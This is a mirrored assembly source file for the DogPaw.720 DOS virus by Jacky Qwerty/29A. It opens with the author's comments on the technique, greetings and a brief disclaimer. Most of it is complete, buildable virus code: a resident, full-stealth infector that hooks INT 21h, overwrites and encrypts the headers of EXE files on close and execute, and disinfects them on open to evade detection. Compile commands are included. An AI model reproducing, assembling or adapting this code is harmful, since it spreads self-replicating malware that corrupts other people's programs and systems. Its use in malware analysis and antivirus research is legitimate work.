mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
608 lines
23 KiB
NASM
608 lines
23 KiB
NASM
;
|
|
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
|
; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
|
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
|
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
|
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
|
;
|
|
; This simple DOS virus exploits a certain feature graciosly implemented for
|
|
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
|
|
; has to do with non-DOS aplicationz run from DOS boxez opened under these
|
|
; 32-bit systemz. It doesnt aply to Win3.1, tho.
|
|
;
|
|
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
|
|
; the comon frustratin mesage "This program cannot be run in DOS mode" or
|
|
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
|
|
; always lookin for enhancementz finaly made it right with NT and Win95 and
|
|
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
|
|
; execute a non-DOS aplication from a DOS box, the system loader no longer
|
|
; executes the DOS stub program which displays such mesage, it actually ends
|
|
; up executin the real Win3.1 or Win32 aplication just as if u had double-
|
|
; clicked the program on yer desktop to execute it. But what has this thing
|
|
; got to do with us? Can this feature be used in a virus? the answer is yes.
|
|
;
|
|
; I wrote this virus just to ilustrate how the above feature can be cleverly
|
|
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
|
|
; antidebug, etc. but it implements full stealth tho, and encrypts data of
|
|
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
|
|
; from undernet #virus as he seems to be the first one havin exploited this.
|
|
;
|
|
;
|
|
; Technical description
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
|
|
: NT and OS/2 programz. It infects filez on close and execute and disinfects
|
|
; them on open. I dont like this kind of stealth at all but it was more than
|
|
; necesary in order to exploit the forementioned feature.
|
|
;
|
|
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
|
|
; includin its MZ header and stores it at the end of the file, then it over-
|
|
; writes the first 720 bytez of the host with the virus code itself, which
|
|
; is really DOS program code. This way what the virus really does is conver-
|
|
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
|
|
; tainin virus code. This doesnt mean that such filez are trojanized or da-
|
|
; maged, they are fully functional after infection, read on.
|
|
;
|
|
; When a DogPaw-infected file is executed, the system treats it as a genuine
|
|
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
|
|
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
|
|
; This way the virus executes as a DOS 16-bit program and plants a resident
|
|
; copy in DOS memory. After this the virus has to execute the original apli-
|
|
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
|
|
; sinfects the host by decryptin the original data at the end of file and
|
|
; writes it back to the begin of file previosly overwriten with virus code.
|
|
; Next the virus executes the original host and, becoz of the above feature,
|
|
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
|
|
; just as if it had been executed from outside a DOS box.
|
|
;
|
|
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
|
|
; want people to write clumsy DOS programz, tho it is still suportin old DOS
|
|
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
|
|
; needed in order to make the migration from DOS to Win32 less painfully and
|
|
; troublesome. But once this DOS compatibility disapears from these systemz,
|
|
; those nonDOS programz infected by this virus wont be able to run or spread
|
|
; further from inside these 32-bit OS's. As u can see its not wise at all to
|
|
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
|
|
; For this purpose we must interact directly with the 32-bit file format, ie
|
|
; the PE format itself. There is no way to circumvent this in the future ;)
|
|
;
|
|
;
|
|
; A dog paw tale
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; Some weekz ago i stole my dady's car to take a short ride around the block
|
|
; and i was so nervous that i almost crashed twice: the first time with a
|
|
; huge big garbage truck (yea even tho i wear glasez) and the second time
|
|
; with a little grandma crossin down the street. Shit.. that was enough for
|
|
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
|
|
; ded to go back home. I turned on the radio and started to sing "the side-
|
|
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
|
|
; had been about to crash twice. Why did i have to open my mouth! Just when
|
|
; i was about to turn right at the next block i heard a suden "crash" follo-
|
|
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
|
|
; tirez. Shit what da hell was that..? i looked back thru the front mirror
|
|
; just to know the answer. On the road i had left behind, there lied a poor
|
|
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
|
|
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
|
|
; goodbye with his paw.. the poor dog paw. #8I
|
|
;
|
|
;
|
|
; Greetingz
|
|
; ÄÄÄÄÄÄÄÄÄ
|
|
; And finaly the greetingz go to:
|
|
;
|
|
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
|
|
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
|
|
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
|
|
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
|
|
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
|
|
; Liquiz ........ Still watin to see that poly of yourz.. #8)
|
|
;
|
|
;
|
|
; Disclaimer
|
|
; ÄÄÄÄÄÄÄÄÄÄ
|
|
; This source code is for educational purposez only. The author is not res-
|
|
; ponsible for any problemz caused due to the assembly of this file.
|
|
;
|
|
;
|
|
; Compiling it
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; tasm -ml -m5 -q -zn dogpaw.asm
|
|
; tlink -t -x dogpaw, dogpaw.exe
|
|
;
|
|
;
|
|
; (c) 1997 Jacky Qwerty/29A.
|
|
|
|
|
|
.model tiny
|
|
.286
|
|
|
|
include useful.inc
|
|
include MZ.inc
|
|
|
|
v_mark equ 'GD' ;virus mark
|
|
v_size_bytes equ v_end - v_start ;virus size in bytez
|
|
b_size_bytes equ v_size_bytes ;bufer size in bytez
|
|
s_size_bytes equ 100h ;stack size in bytez
|
|
v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
|
|
v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
|
|
v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
|
|
v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
|
|
v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
|
|
v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
|
|
- (512 * v_size_div_512) ;
|
|
m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
|
|
- v_end) + b_size_bytes \ ;
|
|
+ s_size_bytes ;
|
|
m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
|
|
m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz
|
|
|
|
.code
|
|
org 100h
|
|
v_start:
|
|
|
|
MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start
|
|
IMAGE_DOS_SIGNATURE, \ ;MZ_magic
|
|
v_size_mod_512, \ ;MZ_cblp
|
|
v_size_sects, \ ;MZ_cp
|
|
0, \ ;MZ_crlc
|
|
0, \ ;NZ_cparhdr
|
|
m_size_paras, \ ;MZ_minalloc
|
|
m_size_paras, \ ;MZ_maxalloc
|
|
-11h, \ ;MZ_ss
|
|
(m_size_bytes + 111h) and -2 \ ;MZ_sp
|
|
v_mark, \ ;MZ_csum
|
|
entry_point, \ ;MZ_ip
|
|
-10h \ ;MZ_cs
|
|
>
|
|
|
|
org (v_start + MZ_lfarlc)
|
|
|
|
old_MZ_low_ptr dw 0
|
|
old_MZ_high_ptr dw 0
|
|
|
|
c_start:
|
|
|
|
Copyright db 'D' xor 66h
|
|
db 'o' xor 66h
|
|
db 'g' xor 66h
|
|
db 'P' xor 66h
|
|
db 'a' xor 66h
|
|
db 'w' xor 66h
|
|
db ' ' xor 66h
|
|
db 'J' xor 66h
|
|
db 'x' xor 66h
|
|
db 'Q' xor 66h
|
|
db '/' xor 66h
|
|
db '2' xor 66h
|
|
db '9' xor 66h
|
|
db 'A' xor 66h
|
|
db 0 xor 66h
|
|
|
|
common_clean_ds:
|
|
|
|
push cs
|
|
pop ds
|
|
mov ds:[flag],al
|
|
|
|
common_clean: test al,? ;clear carry (clean file)
|
|
org $ - 1
|
|
|
|
common_infect: stc ;set carry (infect file)
|
|
|
|
pusha
|
|
mov bp,offset clean + 1
|
|
jnc common
|
|
mov si,dx
|
|
mov bp,offset infect + 1
|
|
cld
|
|
@endsz
|
|
std
|
|
lodsw
|
|
lodsw
|
|
cld
|
|
and al,not 20h
|
|
add al,-'E' ;check for EXE extension
|
|
jnz to_popa_ret
|
|
lodsw
|
|
and ax,not 2020h
|
|
add ax,-'XE'
|
|
jnz to_popa_ret
|
|
|
|
common: ;this function cleans or infects a file
|
|
;on exit:
|
|
; flag = 0, if error
|
|
|
|
mov ax,3D00h
|
|
call call_int_21 ;open file in read/only mode
|
|
jc to_popa_ret
|
|
xchg bx,ax
|
|
push ds dx
|
|
call ptr2begin ;move file pointer to begin of file
|
|
jc end_close
|
|
push cs
|
|
pop ds
|
|
call read ;read first 720 bytez
|
|
jc end_close
|
|
cmp word ptr [si.MZ_csum],v_mark ;check infection
|
|
jnz end_close_clc
|
|
mov ax,[si.MZ_magic]
|
|
cmp word ptr [si.MZ_maxalloc],m_size_paras
|
|
jnz end_close_clc
|
|
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
|
|
end_close_clc: clc
|
|
end_close: pushf
|
|
mov ah,3Eh
|
|
call call_int_21 ;close file
|
|
pop ax
|
|
dec bp
|
|
lahf
|
|
pop dx
|
|
or al,ah
|
|
shl ah,4
|
|
pop ds
|
|
xor ah,al
|
|
sahf
|
|
jbe end_popa_ret ;if (carry or zero)
|
|
|
|
mov ax,4300h ;save old file atributes
|
|
call call_int_21
|
|
to_popa_ret: jc end_popa_ret
|
|
|
|
push ds
|
|
mov si,4*24h-80h
|
|
call get_int
|
|
pop ds
|
|
pusha ;ax, bx, si
|
|
mov bx,cs
|
|
mov ax,offset new_24
|
|
call set_int
|
|
|
|
push cx
|
|
mov cl,20h ;set read/write file atributes
|
|
mov ax,4301h
|
|
call call_int_21
|
|
pop cx
|
|
jc end_2popa_ret
|
|
|
|
mov ax,3D02h ;open file in read/write mode
|
|
call call_int_21
|
|
jc restore_atrib
|
|
|
|
pusha ;cx, dx
|
|
xchg bx,ax
|
|
mov ax,5700h ;get data & time
|
|
call call_int_21
|
|
jc close_file
|
|
|
|
push ds es
|
|
pusha
|
|
|
|
push cs cs
|
|
pop ds es
|
|
mov si,offset b_start
|
|
lea di,[si + old_MZ_low_ptr - v_start]
|
|
call bp ;clean or infect
|
|
jc err_file
|
|
mov ds:[flag],al ;al!=0 (check this while debugin)
|
|
|
|
err_file: popa
|
|
pop es ds
|
|
|
|
mov ax,5701h ;set data & time
|
|
call call_int_21
|
|
|
|
close_file: mov ah,3Eh ;close file
|
|
call call_int_21
|
|
popa
|
|
|
|
restore_atrib: mov ax,4301h ;restore old atributes
|
|
call call_int_21
|
|
|
|
end_2popa_ret: popa
|
|
call set_int
|
|
|
|
end_popa_ret: popa
|
|
end_ret: ret
|
|
|
|
infect proc ;infects a file
|
|
|
|
mov cx,b_size_bytes
|
|
|
|
cld ;encrypt old MZ header
|
|
encrypt: lodsb
|
|
ror al,cl
|
|
xor al,0C5h
|
|
mov [si-1],al
|
|
loop encrypt
|
|
|
|
mov ax,4202h ;move file pointer to end of file
|
|
cwd
|
|
call call_int_21
|
|
jc end_ret
|
|
|
|
pusha
|
|
call write ;write old MZ header to end of file
|
|
jc end_popa_ret
|
|
|
|
lodsw ;move virus code to buffer area
|
|
xchg dx,di
|
|
mov si,offset v_start
|
|
mov ds:[old_MZ_Magic],ax
|
|
cld
|
|
move_virus: lodsb
|
|
stosb
|
|
loop move_virus
|
|
popa
|
|
|
|
stosw ;hardcode file location in virus code
|
|
xchg ax,dx ;
|
|
stosw ;
|
|
|
|
jmp ptr2new ;move file pointer to actual MZ header
|
|
|
|
infect endp
|
|
|
|
get_int: ;gets an interrupt vector
|
|
;on entry:
|
|
; SI = int number * 4
|
|
; DS = 0
|
|
;on exit:
|
|
; DX:AX = int vector adress retrieved
|
|
|
|
push 8
|
|
pop ds
|
|
mov bx,[si+2]
|
|
mov ax,[si]
|
|
ret
|
|
|
|
clean proc ;cleans an infected file
|
|
|
|
mov cx,[di + 2] ;old_MZ_high_ptr
|
|
mov dx,[di] ;old_MZ_low_ptr
|
|
pusha
|
|
call ptr2old ;move file pointer to old MZ header
|
|
jc end_popa_ret
|
|
|
|
call read ;read old MZ header
|
|
jc end_popa_ret
|
|
|
|
cmp word ptr [si.MZ_magic],1234h ;check old MZ header
|
|
old_MZ_Magic = word ptr $-2
|
|
stc
|
|
jnz end_popa_ret
|
|
|
|
cld ;decrypt old MZ header
|
|
decrypt: lodsb
|
|
xor al,0C5h
|
|
rol al,cl
|
|
mov [si-1],al
|
|
loop decrypt
|
|
|
|
popa
|
|
call ptr2old ;move file pointer to old MZ header
|
|
jc ptr2new
|
|
|
|
sub cx,cx
|
|
mov ah,40h ;remove old MZ header from end of file
|
|
call call_int_21
|
|
|
|
ptr2new: call ptr2begin ;move file pointer to actual MZ header
|
|
jc end_clean
|
|
|
|
write: mov ah,40h ;write MZ header
|
|
cmp ax,?
|
|
org $-2
|
|
|
|
read: mov ah,3Fh ;read MZ header
|
|
mov dx,offset b_start
|
|
mov cx,b_size_bytes
|
|
call call_int_21
|
|
jc end_rd_wr
|
|
cmp ax,cx
|
|
mov si,dx
|
|
end_rd_wr:
|
|
|
|
end_clean: ret
|
|
|
|
clean endp
|
|
|
|
entry_point: mov ax,30AFh
|
|
x = 4*21h-80h
|
|
push x
|
|
mov di,offset old_int_21 ;check if already installed
|
|
int 21h
|
|
cld
|
|
pop si
|
|
add al,-0AFh
|
|
mov bp,si
|
|
jz already ;yea we're instaled, jump
|
|
|
|
push ds ;hook int 21h & stay resident
|
|
call get_int
|
|
mov [1+bp-x+si-x],ds
|
|
stosw
|
|
pop ax
|
|
xchg ax,bx
|
|
stosw
|
|
mov ax,offset new_int_21
|
|
call set_int
|
|
|
|
already: push di
|
|
mov ds,[2Ch+10h+bp-x] ;get program filename
|
|
get_prog: inc si
|
|
cmp [si],bp
|
|
jnc get_prog
|
|
lea si,[si+4+bp-x]
|
|
pop dx
|
|
@copysz
|
|
|
|
call common_clean_ds ;clean infected program
|
|
|
|
exec: cmp al,ds:[flag] ;prevent circular execution
|
|
jz exit
|
|
push ds
|
|
mov bx,offset p_block ;execute program
|
|
mov ah,0Dh
|
|
call call_int_21
|
|
mov [bx+4],ds
|
|
mov [bx+8],cs
|
|
pusha
|
|
mov [bx+0Ch],es
|
|
mov ax,4B00h
|
|
call call_int_21
|
|
popa
|
|
mov ah,4Dh
|
|
call call_int_21
|
|
pop ds
|
|
|
|
call common_infect
|
|
|
|
exit: mov ah,4Ch ;exit to DOS
|
|
jmp call_int_21
|
|
|
|
p_block dw 0 ;parameter block to be used by 4B00h
|
|
dw 80h
|
|
dw ?
|
|
dw 5Ch
|
|
dw ?
|
|
dw 6Ch
|
|
dw ?
|
|
|
|
new_24: mov al,3
|
|
iret
|
|
|
|
ptr2begin: xor dx,dx ;move file pointer to actual MZ header
|
|
mov cx,dx
|
|
ptr2old: mov ax,4200h
|
|
call_int_21: pushf ;call old INT 21h
|
|
push cs
|
|
call jmp_int_21
|
|
ret
|
|
|
|
set_int: ;sets an interrupt vector
|
|
;on entry:
|
|
; SI = int number * 4
|
|
; DS = 0
|
|
; DX:AX = int vector adress to store
|
|
|
|
push ds
|
|
push 8
|
|
pop ds
|
|
mov [si+2],bx
|
|
mov [si],ax
|
|
pop ds
|
|
ret
|
|
|
|
infect_on_close: ;infect on file close
|
|
push ds es
|
|
pusha
|
|
mov bp,sp
|
|
push cs bx
|
|
mov ax,1220h
|
|
int 2Fh ;use file system tablez
|
|
jc fail_dcb
|
|
mov bl,es:[di]
|
|
cmp bl,-1
|
|
cmc
|
|
jc fail_dcb
|
|
mov ax,1216h
|
|
int 2Fh
|
|
fail_dcb: pop bx ds
|
|
pushf
|
|
mov ah,3Eh
|
|
call call_int_21 ;close file
|
|
mov [bp.Pusha_ax],ax
|
|
pop ax
|
|
jc fail_close
|
|
shr al,1
|
|
jc fail_close_clc
|
|
mov ax,':'*100h + mask BDA_DriveNumber
|
|
and al,byte ptr es:[di.DCB_DeviceAtribs]
|
|
mov dl,al
|
|
sub al,-'A'
|
|
mov si,offset program_name + 3
|
|
mov [si-3],ax
|
|
inc dx
|
|
mov ah,47h
|
|
call call_int_21 ;get current directory
|
|
jc fail_close_clc
|
|
cld
|
|
dec si
|
|
push es si ds
|
|
lea si,[di.DCB_FileName]
|
|
mov al,'\'
|
|
pop es di
|
|
stosb
|
|
add al,-'\' ; al=0
|
|
scasb
|
|
jnz $ - 1
|
|
sub al,-'\' ; al='\'
|
|
dec di
|
|
mov cx,size DCB_FileName + 1
|
|
cmp al,[di-1]
|
|
pop ds
|
|
push si
|
|
jz $+3
|
|
copy_name: stosb ;atach file name to path
|
|
lodsb
|
|
cmp al,20h
|
|
loopnz copy_name
|
|
pop si
|
|
mov al,'.'
|
|
mov cl,size DCB_FileExt + 1
|
|
sub si,- size DCB_FileName
|
|
copy_ext: stosb ;atach file extension to file name
|
|
lodsb
|
|
cmp al,20h
|
|
loopnz copy_ext
|
|
xor al,al
|
|
stosb
|
|
push cs
|
|
pop ds
|
|
mov dx,offset program_name
|
|
call common_infect ;infect the file
|
|
fail_close_clc: clc
|
|
fail_close: popa
|
|
pop es ds
|
|
retf 2
|
|
|
|
on_close: jmp infect_on_close
|
|
|
|
self_check: cmp di,offset old_int_21
|
|
jnz jmp_int_21
|
|
mov si,di
|
|
cld
|
|
movs word ptr es:[di],cs:[si] ;copy old int 21h
|
|
movs word ptr es:[di],cs:[si] ;
|
|
go_iret: iret
|
|
|
|
new_int_21: cli ;new INT 21h service routine
|
|
push ax ;antitrace.. dont fuck with me
|
|
push -1
|
|
inc sp
|
|
dec sp
|
|
pop ax
|
|
inc ax
|
|
pop ax
|
|
sti
|
|
jnz go_iret
|
|
chk_3E: cmp ah,3Eh ;close?
|
|
jz on_close
|
|
chk_30: cmp ax,30AFh ;are we already installed?
|
|
jz self_check
|
|
chk_4B: cmp ah,4Bh ;execute?
|
|
jnz chk_3D
|
|
call common_infect
|
|
chk_3D: cmp ah,3Dh ;open?
|
|
jnz jmp_int_21
|
|
call common_clean
|
|
|
|
jmp_int_21: db 0EAh ;JMP SEG:OFF opcode
|
|
v_end: ;virus end on filez
|
|
old_int_21 dd ? ;old INT 21h vector
|
|
|
|
program_name db 80h dup (?) ;buffer to hold program namez
|
|
flag db ? ;used to prevent circular execution
|
|
b_start: ;start of internal buffer
|
|
end v_start
|